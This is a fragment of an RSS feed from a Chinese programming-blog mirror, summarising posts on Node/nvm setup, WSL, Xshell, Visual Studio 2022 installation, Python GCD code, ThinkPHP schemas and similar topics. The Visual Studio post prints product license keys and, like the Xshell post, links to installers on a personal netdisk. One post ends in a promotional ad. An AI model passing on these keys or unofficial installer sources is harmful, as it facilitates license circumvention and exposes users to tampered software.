      <description>1 内容介绍 白鲸优化算法（Beluga whale optimization，BWO）由Changting Zhong等人于2022年提出，该算法模拟了白鲸游泳，觅食和“鲸鱼坠落”行为。&#xA;在本文中，提出了一种新的基于群体的元启发式算法，其灵感来自白鲸的行为，称为白鲸优化 (BWO)，以解决优化问题。BWO中建立了探索、开发和鲸落三个阶段，分别对应成对游泳、猎物和落鲸的行为。BWO中的平衡因子和鲸落概率具有自适应性，对控制探索和开发能力起着重要作用。此外，还引入了 Levy 飞行以增强开发阶段的全局收敛性。使用 30 个基准函数测试了所提出的 BWO 的有效性，并进行了定性、定量和可扩展性分析，并将统计结果与其他 15 种元启发式算法进行了比较。根据结果和讨论，BWO是解决单峰和多峰优化问题的竞争算法，通过弗里德曼排名测试，BWO在比较的元启发式算法中基准函数的可扩展性分析中的整体排名第一。最后，四个工程问题展示了 BWO 在解决复杂的现实世界优化问题中的优点和潜力。&#xA;2 仿真代码&#xA;​ function func_plot(func_name)&#xA;[lb,ub,dim,fobj]=Get_Functions_details(func_name);&#xA;switch func_name case &#39;F1&#39; x=-100:2:100; y=x; %[-100,100] case &#39;F2&#39; x=-10:1:10; y=x; %[-10,10] case &#39;F3&#39; x=-100:2:100; y=x; %[-100,100]&#xA;case &#39;F4&#39; x=-100:2:100; y=x; %[-100,100]&#xA;case &#39;F5&#39; x=-30:1:30; y=x; %[-30,30]&#xA;case &#39;F6&#39; x=-100:2:100; y=x; %[-100,100]&#xA;case &#39;F7&#39; x=-1:0.03:1; y=x; %[-1.28,1.28]&#xA;case &#39;F8&#39; x=-10:0.1:10;y=x; %[-10,10]&#xA;case &#39;F9&#39; x=-10:0.1:10; y=x; %[-10,10] case &#39;F10&#39; x=-1:0.</description>
    </item>
    <item>
      <title>Win10 如何安装 Nodejs 版本控制器 nvm</title>
      <link>https://bchobby.github.io/posts/d2e3366a6525f84416bbf571ecb3493f/</link>
      <pubDate>Tue, 02 Aug 2022 16:29:22 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d2e3366a6525f84416bbf571ecb3493f/</guid>
      <description>Win10 如何安装 Nodejs 版本控制器 nvm 注意：电脑之前安装过 NodeJs 的，必须先卸载掉相关Nodejs，并删除掉相关的缓存文件以及环境配置，否则会导致出现一系列的安装失败的问题！&#xA;一、卸载 Nodejs 如果未安装相关 Nodejs，则可以忽略此步骤！&#xA;打开控制面板（快捷方式：同时按住Win+ R组合键，等待运行窗口打开后，输入control即可打开控制面板）&#xA;选择卸载程序，并点击卸载程序&#xA;在程序和功能界面找到相应的 NodeJs 程序，点击鼠标右键点击卸载即可执行卸载操作，按照相关步骤进行即可&#xA;二、下载 NVM 软件包 点击版本链接选择相应的版本进行下载即可，本次示例版本号为1.1.9&#xA;点击图中的nvm-setup.zip，下载相关压缩包，下载成功以后对其减压&#xA;二、安装 NVM 点击其中的nvm-setup.exe文件按照步骤，进行自定义设置，并按照要求完成安装即可&#xA;安装成功后，使用管理员权限打开PowerShell（快捷方式：同时按住Win + X组合键，等弹出界面后，点击A，即可打开管理员权限的终端窗口）&#xA;在此终端窗口，输入nvm即可查看相关命令信息以及nvm版本号&#xA;相关命令解析：&#xA;nvm arch：设置NodeJs是在32位还是64位模式下运行，默认是操作系统的当前位数&#xA;nvm current：查看当前使用的NodeJs版本&#xA;nvm install [version] [arch]：根据版本号和位数安装NodeJs，版本可以是特定版本，位数也可以是特定位数，“latest”：表示安装最新版本的NodeJs，“lts”：安装最新的LTS版本。arch：可选参数，可以为32|64|all，“all”：表示安装32位和64位版本。在命令的末尾添加--insecure，可以绕过远程下载服务器的SSL认证，但是不安全&#xA;nvm list [available]：查看当前安装的NodeJS版本列表，以及当前使用的版本，available：为具体的NodeJs版本号，根据此命令可以查看某一个版本是否被安装。此命令的简写方式为：nvm ls&#xA;nvm on：启用NodeJs版本管理&#xA;nvm off：关闭NodeJs版本管理&#xA;nvm proxy [url]：设置nvm的代理，当有没有代理的时候，可以将其设置为&#34;none&#34;&#xA;nvm node_mirror [url]：设置NodeJs代理，默认为：https://nodejs.org/dist/&#xA;nvm npm_mirror [url]：设置npm代理，默认为：https://github.com/npm/cli/archive/&#xA;nvm uninstall [version]：卸载某一个版本的NodeJs&#xA;nvm use [version] [arch]：切换当前的NodeJs版本，version可以使用“latest”或者&#34;newest&#34;，前者表示最新的NodeJs版本，后者为安装的最新的NodeJs版本&#xA;nvm root [path]：设置存放NodeJs版本的路径&#xA;nvm version：查看nvm版本号&#xA;nvm的settings.txt文件内容</description>
    </item>
    <item>
      <title>Windows子系统的安装与使用</title>
      <link>https://bchobby.github.io/posts/46cd85d820d79cba31eafc2f05e9cd1a/</link>
      <pubDate>Tue, 02 Aug 2022 15:25:52 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/46cd85d820d79cba31eafc2f05e9cd1a/</guid>
      <description>引言 好久没有更新技术博客了，这段时间一直在学习新的知识，涉足大数据技术领域，最近有一些收获，来和大家分享一下。笔者一直用的是windows系统的电脑，但是有时候又需要用到linux系统，对此有3种方案可以实现：&#xA;电脑安装双系统；安装虚拟机；安装windows子系统 本文就windows子系统的安装与使用进行详解。&#xA;安装windows子系统 1.打开电脑“控制面板”—》“程序”&#xA;2.点击“程序”，选择“启用或关闭Windows功能”&#xA;3.勾选“适用于Linux的windows子系统”和“虚拟机平台”两项&#xA;至此，windows子系统安装完成，接下来安装Ubuntu系统。&#xA;安装Ubuntu系统 1.打开电脑中的微软商店Microsoft Store&#xA;2.搜索ubuntu，点击免费下载进行下载并安装&#xA;3.启动Ubuntu，设置用户名和密码&#xA;4.进入系统即可输入shell命令&#xA;至此，即可在windows系统中使用linux系统，相关的操作均可实现。</description>
    </item>
    <item>
      <title>Visual Studio2022安装教程</title>
      <link>https://bchobby.github.io/posts/e8b614afc78dbe415626d4f10e7f14ba/</link>
      <pubDate>Tue, 02 Aug 2022 12:16:16 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e8b614afc78dbe415626d4f10e7f14ba/</guid>
      <description>一、下载&#xA;直接下载我给你的网盘文件解压就可以了，也可去官网下载。&#xA;百度网盘链接：https://pan.baidu.com/s/14sdHJylEBtf2fU7OcX1YbQ&#xA;提取码：1234&#xA;官网下载：https://visualstudio.microsoft.com/zh-hans/?rr=https://www.microsoft.com/zh-cn/&#xA;二、安装&#xA;1.解压&#xA;2.打开解压后的文件夹，鼠标右击需要安装的版本（如：专业版）选择【以管理员身份运行】。&#xA;3.点击【继续】。&#xA;4.下载安装中……&#xA;5.勾选需要安装的应用（c++或c的代码勾选下面这个就可以了，其他功能也可以等需要用的时候再进行添加）。&#xA;6.更改安装或缓存的位置，勾选需要安装的插件（根据自己的需求勾选，点击【安装】。&#xA;7.下载安装中……&#xA;8.点击确定&#xA;9.点击【启动】&#xA;10.点击【以后再说】。&#xA;11.点击【启动 Visual Studio】。&#xA;12.点击【继续但无需代码】。&#xA;13.点击【帮助】选择【注册Visual Studio】。&#xA;14.点击【使用产品秘钥解锁】。&#xA;15.输入产品秘钥：安装的是专业版输入【TD244-P4NB7-YQ6XK-Y8MMM-YWV2J】；安装的是企业版输入【VHF9H-NXBBB-638P6-6JHCY-88JWH】，社区版无需秘钥；点击【应用】。&#xA;16.安装成功！</description>
    </item>
    <item>
      <title>python求最大公因数的几种方法及思路(附源码)</title>
      <link>https://bchobby.github.io/posts/e9416e1eb109e4b10eb1bf9aa60f1316/</link>
      <pubDate>Tue, 02 Aug 2022 11:21:08 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e9416e1eb109e4b10eb1bf9aa60f1316/</guid>
      <description> 一.辗转相除法：&#xA;顾名思义，先用较大的数除以较小的数，再用较小的数除以前面所取得的余数，以此类推，等余数为0时，便取得了最大公因数，以下图为例，73便是3139和2117的最大公因数。附辗转相除法的解说视频：68.mp4_高清1080P在线观看平台_腾讯视频 (qq.com)https://v.qq.com/x/cover/i20ygjztsvi2sbt/j1422spoxoh.html&#xA;相关代码如下：&#xA;a=3139 b=2117 #t表示a除以b的余数 t=a%b #当余数不为零的时候继续循环，当为0的时候输出结果 while t!=0: a=b; b=t; t=a%b print(b) 二.穷举：&#xA;i从2一直往上取值，取尽a，b的公因数，保存到n中，最后输出n中的最大值，如果想求两数之间的公因数，把输出结果改为n即可。&#xA;a=3139 b=2117 n=[1];i=2 while i&amp;lt;=max(a,b): if a%i==0 and b%i==0: n.append(i) i+=1 while i&amp;gt;max(a,b): break print(max(n)) 三.更相减损法：&#xA;用a，b中较大的数字，减掉减小的数字，接着把所得的差与较小的数比较，并以大数减小数。继续这个操作，直到所得的减数和差相等为止，此时的差值就是最大公因数&#xA;a=3139 b=2117 while a!=b: if a&amp;gt;b: a=a-b else: b=b-a print(a) </description>
    </item>
    <item>
      <title>华为机试（6.17笔试题解析）</title>
      <link>https://bchobby.github.io/posts/7ad3d005d0f1fa1c4a5aae2bbddc7036/</link>
      <pubDate>Tue, 02 Aug 2022 10:27:52 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7ad3d005d0f1fa1c4a5aae2bbddc7036/</guid>
      <description>华为机试一共三道题，分值分别是100，100，200，满分400分，限时2.5小时。我抽到的这三题相对来说比较简单，满分通过，这里做个总结：&#xA;第一题：数据分类&#xA;■ 题目描述&#xA;对一个数据a进行分类，分类方法为：此数据a（四个字节大小）的四个字节相加对一个给定的值b取模，如果得到的结果小于一个给定的值c，则数据a为有效类型，其类型为取模的值；如果得到的结果大于或者等于c，则数据a为无效类型。比如一个数据a=0x01010101，b=3，按照分类方法计算（0x01+0x01+0x01+0x01）%3 = 1，所以如果c=2，则此a为有效类型，其类型为1，如果c=1，则此a为无效类型；又如一个数据a=0x01010103，b=3，按照分类方法计算（0x01+0x01+0x01+0x03）%3 = 0，所以如果c=2，则此a为有效类型，其类型为0，如果c=0，则此a为无效类型。输入12个数据，第一个数据为c，第二个数据为b，剩余10个数据为需要分类的数据，请找到有效类型中包含数据最多的类型，并输出该类型含有多少个数据。 输入描述&#xA;输入12个数据，用空格分隔，第一个数据为c，第二个数据为b，剩余10个数据为需要分类的数据。 输出描述&#xA;输出最多数据的有效类型有多少个数据。 示例1 输入输出示例仅供调试，后台判题数据一般不包含示例&#xA;输入&#xA;3 4 256 257 258 259 260 261 262 263 264 265&#xA;输出&#xA;3&#xA;说明&#xA;10个数据4个字节相加后的结果分别为1 2 3 4 5 6 7 8 9 10，故对4取模的结果为1 2 3 0 1 2 3 0 1 2，c为3，所以0 1 2都是有效类型，类型为1和2的有3个数据，类型为0的只有2个数据，故输出3。&#xA;示例2 输入输出示例仅供调试，后台判题数据一般不包含示例&#xA;输入&#xA;1 4 256 257 258 259 260 261 262 263 264 265&#xA;输出&#xA;2</description>
    </item>
    <item>
      <title>Xshell的下载与安装</title>
      <link>https://bchobby.github.io/posts/7760d8e9f6be0ece8d67634f9af2e132/</link>
      <pubDate>Tue, 02 Aug 2022 10:02:13 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7760d8e9f6be0ece8d67634f9af2e132/</guid>
      <description>引言 上一篇文章有介绍Windows子系统的安装与使用，安装Ubuntu桌面版确实可以直接使用Ubuntu子系统，但是Ubuntu桌面版的界面不是很好看，并且不能直接上传文件到服务器中，所以本篇章介绍SSH远程终端工具Xshell的下载与安装，通过Xshell可以实现文件的上传与下载。&#xA;下载Xshell 1.在xshell中文官网下载&#xA;现在Xshell提供免费授权，点击进入“免费授权页面”&#xA;2.填写姓名和邮件，选择下载的软件，之后就会发送到指定的邮箱&#xA;3.邮件发送时间可能有点长，也可以在笔者的百度网盘中下载&#xA;链接：https://pan.baidu.com/s/1jRUV6dlrZod4AgpyIxVI1w&#xA;提取码：z2t7&#xA;安装Xshell Xshell的安装过程非常简单，都是一键式next操作。&#xA;1.双击运行安装文件，点击“下一步”&#xA;2.选择“我接受许可证协议中的条款”，点击“下一步”&#xA;3.切换安装目录，点击“下一步”&#xA;4.安装完成点击“完成”&#xA;操作完后则完成了整个安装过程。&#xA;打开软件后弹出个人许可证，点击关闭即可。</description>
    </item>
    <item>
      <title>mac的node版本安装及升降级</title>
      <link>https://bchobby.github.io/posts/7f7018e342f7c84558d414bb8b18eb15/</link>
      <pubDate>Tue, 02 Aug 2022 00:04:57 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7f7018e342f7c84558d414bb8b18eb15/</guid>
      <description>在开发过程中，对于不同的开发环境可能需要切换不同的node版本，此过程会涉及到node版本的升级与降级。&#xA;一、安装node版本管理模块n（sudo命令）&#xA;1. 全局安装n模块&#xA;sudo npm install n -g&#xA;2. 安装当前稳定版本&#xA;sudo n stable&#xA;3.安装最新版本&#xA;sudo n latest&#xA;4.node版本降级/升级（安装指定 node版本）&#xA;sudo n 版本号&#xA;5.卸载指定 node版本&#xA;sudo n rm 版本号&#xA;6.检测目前安装了哪些node版本&#xA;n&#xA;7.切换 node版本（不会删除已安装的其他版本）&#xA;sudo n 版本号&#xA;8.查看 node版本号&#xA;node -v&#xA;先自我介绍一下，小编13年上师交大毕业，曾经在小公司待过，去过华为OPPO等大厂，18年进入阿里，直到现在。深知大多数初中级java工程师，想要升技能，往往是需要自己摸索成长或是报班学习，但对于培训机构动则近万元的学费，着实压力不小。自己不成体系的自学效率很低又漫长，而且容易碰到天花板技术停止不前。因此我收集了一份《java开发全套学习资料》送给大家，初衷也很简单，就是希望帮助到想自学又不知道该从何学起的朋友，同时减轻大家的负担。添加下方名片，即可获取全套学习资料哦</description>
    </item>
    <item>
      <title>2015年全国大学生电子设计竞赛A题（双向DC-DC变换器）训练总结（硬件部分）</title>
      <link>https://bchobby.github.io/posts/3c03fd254c51876931c806f69c2bb720/</link>
      <pubDate>Mon, 01 Aug 2022 21:22:33 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3c03fd254c51876931c806f69c2bb720/</guid>
      <description>目录&#xA;一、任务&#xA;二、电路设计&#xA;1 主回路电路拓扑图&#xA;2 半桥驱动电路&#xA;3 电流采样电路&#xA;4 电压采样及AD输入保护电路 5 作品实物图&#xA;三、调试中遇到的问题&#xA;问题一&#xA;buck闭环测试测试时，电流由小变大时，输出电压无法稳定，会变小。&#xA;问题二&#xA;使用稳压源代替电池组进行调试时，无法调节到目标值，使用电池组却可以达到目标值。&#xA;四、总结&#xA;一、任务 (后面部分省略，原题目很容易找到)&#xA;二、电路设计 1 主回路电路拓扑图 从VD到VO是BUCK电路， 从VO到VD是BOOST电路。即可实现双向的DC-DC变换&#xA;在平时做题过程中往往指导老师会针对题目给出很有用的经验值，我们自己很少去计算具体的参数。其实理论参数的计算具有很强的支撑力。很重要！之前看过一些资料和博客，但是我感觉讲的都不是很清清楚楚明明白白。最后在知乎上看到了一篇文章写的特别ok是《手撕Buck！Buck公式推导过程》，建议大家去看原文，我就不详细展开了。&#xA;2 半桥驱动电路 使用IR2184S驱动芯片，驱动MOS管的通断，实现斩波功能。&#xA;3 电流采样电路 电流采样电路如图4所示，通过使电流流过10毫欧合金电阻，在电阻两端产生压降。使用INA286对压降进行100倍放大并输出。&#xA;4 电压采样及AD输入保护电路 电流采样使用的是两个电阻进行分压。将目标电压转换到适合单片机采集电压（3.3v以下）。&#xA;为防止出现大电压灌入单片机而损坏单片机。所以制作钳位电路，将输入到AD口的电压限制再-0.3V到3.6V。保护单片机。&#xA;具体详细内容传送门----&amp;gt;AD输入钳位保护电路_Source_975的博客-CSDN博客_ad保护电路https://blog.csdn.net/next___/article/details/124874576?spm=1001.2014.3001.5501&#xA;5 作品实物图 三、调试中遇到的问题 问题一 buck闭环测试测试时，电流由小变大时，输出电压无法稳定，会变小。 原因：电路的走线布局导致。在大电流的回路上，连接线路不是理想的导体，有电阻，电流越大分的电压越多，输出电压就会变小。&#xA;解决方法:合理设置电压采样电路的位置，以及预留的电压表测试接口位置。二者紧靠。因为单片机是根据电压采样电路所采集到的值进行计算实现稳压操作。&#xA;问题二 使用稳压源代替电池组进行调试时，无法调节到目标值，使用电池组却可以达到目标值。 原因：电池组和稳压源的差异导致。&#xA;四、总结 通过全体成员的努力，成功实现了所有功能与指标。完结撒花。再接再励！！！</description>
    </item>
    <item>
      <title>自制可运行pe的iso</title>
      <link>https://bchobby.github.io/posts/878d6432fc25c0056afa0dab11b2389a/</link>
      <pubDate>Mon, 01 Aug 2022 19:57:13 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/878d6432fc25c0056afa0dab11b2389a/</guid>
      <description>自制可运行pe的iso 准备软件准备文件步骤名词解释结语 准备软件 UltraISO：用于制作可启动的ISOBootice： 用于修改PE引导的BCD启动项Dism++： 编辑wim镜像 准备文件 微软官方ISO镜像 步骤 创建任意一个工作目录。&#xA;从微软官方ISO镜像中提取必要文件&#xA;双击ISO镜像，挂载。在工作目录中新建Boot文件夹，复制挂载目录的sources\boot.wim, boot\boot.sdi 和 efi\microsoft\boot\efisys_noprompt.bin到其中。 修改Boot.wim&#xA;打开Dism++，依次点击 文件 -&amp;gt; 打开镜像文件，选择工作目录的Boot\boot.wim。选择 Windows Setup 的镜像，点击删除映像。选择 Windows PE 的镜像，点击可启动（这会将其转换为可启动WIM），点击退出。 准备EFI文件&#xA;生成&#xA;打开管理员权限的Windows Terminal。输入 bcdboot c:\windows /s D: /f UEFI，运行后在D盘根目录生成主机的EFI文件夹。复制D盘下的EFI文件夹到工作目录。 修改BCD&#xA;打开Bootice，依次点击 BCD编辑 -&amp;gt; 其他BCD文件，选择工作目录EFI\Microsoft\Boot下的BCD文件。点击智能编辑模式，删除原有启动项。点击 添加 -&amp;gt; 新建WIM启动项。设置设备文件为 \Boot\boot.wim，设置SDI文件为 \Boot\boot.sdi。点击保存当前系统设置并关闭。 复制 bootmgr.efi&#xA;在EFI文件夹下的Microsoft\Boot 文件夹复制 bootmgr.efi 到工作目录。&#xA;制作ISO&#xA;打开UltraISO，点击文件 -&amp;gt; 新建 -&amp;gt; UDF DVD 镜像。复制工作目录下的EFI，Boot， bootmgr.efi到UltraISO中。打开 Boot 文件夹，在 efisys_noprompt.bin 右键 -&amp;gt; 设置为引导文件。点击文件 -&amp;gt; 保存 iso 文件。 尝试用虚拟机启动吧！</description>
    </item>
    <item>
      <title>系统分析师备考经验分享</title>
      <link>https://bchobby.github.io/posts/ea1c53af17fa44a777b17b5f61e5c277/</link>
      <pubDate>Mon, 01 Aug 2022 19:22:01 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ea1c53af17fa44a777b17b5f61e5c277/</guid>
      <description>文章目录 如何备考备考时间关于各科难度总结 前几天软考系统分析师的成绩公布，顺利通过。写这篇博客主要向大家分享一下备考系统分析师的一些经验以及建议。 先介绍一下我自己的一个情况，好让大家有个参照。本人是计算机相关专业毕业的，工作也有7年了，自认为基础还算不错。这次备考系统分析师大概准备了120小时左右。这次考试成绩如下(论文侥幸飘过)：&#xA;如何备考 先说下本人的备考经历：&#xA;最早的时候，我在京东花了200块买了官方的3套教材《系统分析师教材》、《考试全程指导》、《历年真题(到2019年)》。本想通过看书的方式进行备考，书到了一看，好家伙，两本厚厚的教材（6-700页），每页都是密密麻麻的内容，直接劝退。&#xA;后面就自己去网上找相关教程，在B站发现不错的视频，是一个老师的试讲视频，但是要听更多得去淘宝买课程。因为价格还可以，同时不想花太多时间去网上找复习资料，我就买了这个课程。为了避免有打广告的嫌疑，具体哪个老师的课程这里不介绍，感兴趣的可以私信我了解。&#xA;这里简单介绍一下我报的这个课程，淘宝下单后，就可以去一个学习app上看老师的相关录播课程了（主要讲一些精华考点）。老师每周也会开一次直播课讲解知识点，有问题可以和老师交流。同时还会拉你进一个qq群，里面都是报班的同学，群里还有一些复习资源（比如一本通精华考点等）。&#xA;下面总结一下各种备考方式的优缺点：&#xA;备考方式优点缺点看官方教材学习到的知识点更加全面书上的内容很多，因此需要记忆大量的内容，同时不知道考试重点 ，加大备考难度。自行在网上找复习资料省钱，也可以找到类似培训班的一本通，明确重点复习内容，节省复习时间找资料比较费时间，另外通过文字资料学习可能没有看视频听老师讲课吸收快。没有一个好的交流环境网上报班有老师总结精华考点，节省复习时间。和自己在网上找资料相比，报班提供了更好的沟通渠道，有什么问题可以得到及时的解答费钱。不同的机构费用不同，从几百到几千都有 总的来说，如何备考因人而异，如果计算机基础比较差（计算机组成原理、操作系统、网络、数据库、软件工程等），建议直接报班跟老师的视频吸收的会快一些。如果基础比较好的，可以自己去网上找找复习资料，结合复习资料来学习。至于官方教材，可买可不买，拿我自己举例，虽然买了官方教材，但是一共也就看了其中的几章（主要是写论文的时候，有些知识点想结合教材上面的深入了解下）。没有书其实相关知识点去网上搜也可以找到很多资料。&#xA;当然，如果不想折腾去网上找资料，可以花点钱去买个课。当时我就是懒得去网上找复习资料，加上课程就399，可以反复学（一直到考过为止），因此直接买了个课程。&#xA;备考时间 这个也是因人而异的，有条件的，准备时间肯定越多越好。根据我报班老师的建议，最好准备时间在200个小时以上，是比较稳妥的。&#xA;根据我自己的统计，我准备的时间大概120个小时，历时两个月。一般就是晚上下班回去复习1-2个小时，周末复习几个小时。下面附上我报班的老师建议的备考时间：&#xA;第一阶段学习计划&#xA;1、复习目标: 上午选择题考试无忧,掌握系分整体知识结构。&#xA;2、复习时间: 约100个小时,个人自己规划。&#xA;第二阶段学习计划&#xA;1、复习目标: 案例分析、论文写作无忧。&#xA;2、复习时间: 约70个小时,个人自己规划。&#xA;第三阶段学习计划&#xA;1、学习目标: 查缺补漏,不断优化,无论什么题型,都能稳过。&#xA;2、学习时间; 约50个小时。&#xA;关于各科难度 首先系统分析师的考试分为3门，分别是上午的综合和下午的案例、论文。上午的考试全部都是选择题，只要复习充分，基本没有太大问题。比较难的是下午的案例分析和论文。&#xA;首先是案例，可谓是考系统分析师最大的难点。主要是因为它考的知识点比较杂，很多考点甚至不在官方教材上，会考一些当前比较热门的技术，需要考生有一定的知识储备。比如之前考过微服务、一些web技术（就算做web的可能也不一定答的上来）、今年还考了区块链以及分布式事务，这些都是平常我们不会复习到的，全靠平时积累。因此即使你准备的很充分了，系分案例也可能挂掉。&#xA;其次是论文，在论文上挂掉的人也挺多的。老师说系分的论文没有案例难，在我看来差不多。我觉的论文的一个难点是需要在2个小时内写够2500多字，基本没有给你太多的思考时间。因此考前提前准备好几篇论文进行押题是必然的。即使押不中，也可以拿之前写过的论文模板来用，可以节省不少时间。这里又体现了报班的一个好处，老师会比较详细的给你讲解论文该怎么写，按一定的模板写，可以节省不少时间。我个人是在考前准备了5篇论文，虽然都没考到，但是好歹积累了一些经验。因此，大家备考时能多准备论文就多准备，有备无患。&#xA;总结 总的来说，系分在软考中还是比较难的，即使准备充分，也不一定就能过。这次我能过也多亏论文的评卷老师给了及格分。如果大家只是单纯想考个高级软件工程师的证书，可以考虑下项目管理和系统规划这两个科目，准备充分的话通过的概率会更大些。</description>
    </item>
    <item>
      <title>Thrift IDL示例文件</title>
      <link>https://bchobby.github.io/posts/f2557515e7938d5435731fc8a826bfa1/</link>
      <pubDate>Mon, 01 Aug 2022 19:17:51 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f2557515e7938d5435731fc8a826bfa1/</guid>
      <description>Java 示例1： 在src下新建thrift目录，在此目录下新建MyData.thrift文件&#xA;namespace java thrift.generated typedef i16 short typedef i32 int typedef i64 long typedef bool boolean typedef string String struct Person { 1:optional String username, 2:optional int age, 3:optional boolean married } exception DataException { 1:optional String message, 2:optional String callback, 3:optional String date } service PersonService { Person getPersonByUsername(1:required String username) throws (1:DataException dataException), void savePerson(1:required Person person) throws(1:DataException dataException) } 然后在IDEA中新建Terminal&#xA;thrift --gen java src/thrift/MyData.thrift 此时会在项目的根目录下生成代码，然后在src/main/java/com.</description>
    </item>
    <item>
      <title>(3)Thinkphp6数据库</title>
      <link>https://bchobby.github.io/posts/791e3d888052132feb16795d6a39eff9/</link>
      <pubDate>Mon, 01 Aug 2022 17:59:33 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/791e3d888052132feb16795d6a39eff9/</guid>
      <description>目录&#xA;一.创建数据库&#xA;1.管理员表&#xA;2.商品分类表&#xA;3.商品表&#xA;4.菜单表&#xA;二.连接数据库&#xA;三.执行原生Mysql&#xA;​四.框架内-查询操作&#xA;五.添加&#xA;六.修改&#xA;七.删除&#xA;要使用Db类必须使用门面方式(think\facade\Db)调用&#xA;数据库操作统一入口：Db::&#xA;数据库管理软件：phpMyAdmin(网页数据库管理)，Navicat for MySql(Windows软件数据库管理)&#xA;以下使用的是phpMyAdmin&#xA;一.创建数据库 1.管理员表 CREATE TABLE `shop_admin`( `uid` int(10) unsigned NOT NULL AUTO_INCREMENT COMMENT &#39;用户ID&#39;, `account` varchar(50) NOT NULL COMMENT &#39;账户&#39;, `password`char(32) NOT NULL COMMENT &#39;密码&#39;, `name` varchar(50)NOT NULL COMMENT &#39;姓名&#39;, `status` tinyint(1) unsigned NOT NULL DEFAULT &#39;1&#39; COMMENT &#39;状态 1开启 2关闭&#39;, `add_time` int(10) unsigned NOT NULL COMMENT &#39;添加时间&#39;, PRIMARY KEY (`uid`) )ENGINE=InnoDB AUTO_INCREMENT=2 DEFAULT CHARSET=utf8mb4 COMMENT=&#39;后台管理员&#39;; ---------------------------------------------------------------------------------- INSERT INTO `shop_admin` VALUES(1,&#39;admin&#39;,&#39;e10adc3949ba59abbe56e057f20f883e&#39;,&#39;小鱼&#39;,1,1605163389); 2.</description>
    </item>
    <item>
      <title>IDEA创建Project</title>
      <link>https://bchobby.github.io/posts/b9575bbe948da0160932ee6e4fb45cf3/</link>
      <pubDate>Mon, 01 Aug 2022 14:22:13 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b9575bbe948da0160932ee6e4fb45cf3/</guid>
      <description>1、&#xA;2、&#xA;3、&#xA;4、&#xA;这样modules你就可以随意删除以及增加了，&#xA;如果还有不明白的地方，可以私信我</description>
    </item>
    <item>
      <title>教你VSCode如何快速对齐代码、格式化代码</title>
      <link>https://bchobby.github.io/posts/62e1888d1fa86ae1464675e941b7f53d/</link>
      <pubDate>Mon, 01 Aug 2022 13:00:23 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/62e1888d1fa86ae1464675e941b7f53d/</guid>
      <description>以前经常用VS2013或者VS2017还有VS2019代码工具，对其代码时ctrl+k+d来对齐代码，而现在操作VSCode来对齐代码的时候这个快捷键没用了，因为VSCode有自己的快捷键，如下代码所示：&#xA;刚使用VSCode发现代码容易写着容易乱，以前经常用VS2013或者VS2017还有VS2019代码工具，对其代码时ctrl+k+d来对齐代码，VSCode自带也有快捷键，需要先选中需要格式化的代码，然后使用组合键shift + alt +f 进行格式化。&#xA;这里你会好奇为啥没有用。因为缺少了一个插件，所以我们这里还要下一个插件。&#xA;下载这个插件就可以实现代码对齐了。然后使用组合键shift + alt +f 进行格式化。</description>
    </item>
    <item>
      <title>macos 输入法切换卡顿 macos monterey （已解决）</title>
      <link>https://bchobby.github.io/posts/8d6962d1e1143ac1ea897705fa4fc436/</link>
      <pubDate>Mon, 01 Aug 2022 09:31:53 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8d6962d1e1143ac1ea897705fa4fc436/</guid>
      <description> 一度以为2020款macbookpro 性能不行了。。。&#xA;解决办法： 1.打开终端 2.输入 pkill -f SCIM.app 3.重新切换输入法 </description>
    </item>
    <item>
      <title>ScottPlot入门教程:获取和显示鼠标处的数值</title>
      <link>https://bchobby.github.io/posts/4b5373975076fa2aa6435b0524516150/</link>
      <pubDate>Mon, 01 Aug 2022 08:57:28 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4b5373975076fa2aa6435b0524516150/</guid>
      <description>1效果展示 ScottPlot是个非常不错的开源图表库，官方的例程也比较丰富，本文简单举例说明如何获取鼠标处的数值，和官方示例ShowValueOnHover2类似。&#xA;2创建Demo工程 创建空白的Winform桌面程序&#xA;引入ScottPlot库&#xA;右键解决方案，点击Nuget程序包管理，搜索完整名ScottPlot：&#xA;引入完成之后设计窗口的工具箱中会出现FromsPlot控件，将其拖放到设计界面中，这里再加两个控件：&#xA;Button用于点击产生随机数据，Label用于显示鼠标位置的数值，初始位置随意，程序里我们让它跟随鼠标在适当的位置显示。&#xA;图中更改了Label的背景色和边框样式，这样看起来好看些。&#xA;3代码编辑 双击添加的刷新Button可快速添加监听并进入代码编辑模式。&#xA;using System; using System.Collections.Generic; using System.ComponentModel; using System.Data; using System.Drawing; using System.Linq; using System.Text; using System.Threading.Tasks; using System.Windows.Forms; namespace ScottPlotTest { public partial class Form1 : Form { public const int MAX_LOG_LENGHT = 1000; private double[] values = new double[MAX_LOG_LENGHT]; private int dataCnt = 0; private ScottPlot.Plottable.SignalPlot signalPlot; public Form1() { InitializeComponent(); /* * 1.设置数据源,自定义X轴标签 */ var plt = formsPlot1.</description>
    </item>
    <item>
      <title>Win10重启需重新安装声卡驱动，无法使用声音设备解决</title>
      <link>https://bchobby.github.io/posts/54122b4944b2a200067f9c3251225f3a/</link>
      <pubDate>Mon, 01 Aug 2022 00:29:45 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/54122b4944b2a200067f9c3251225f3a/</guid>
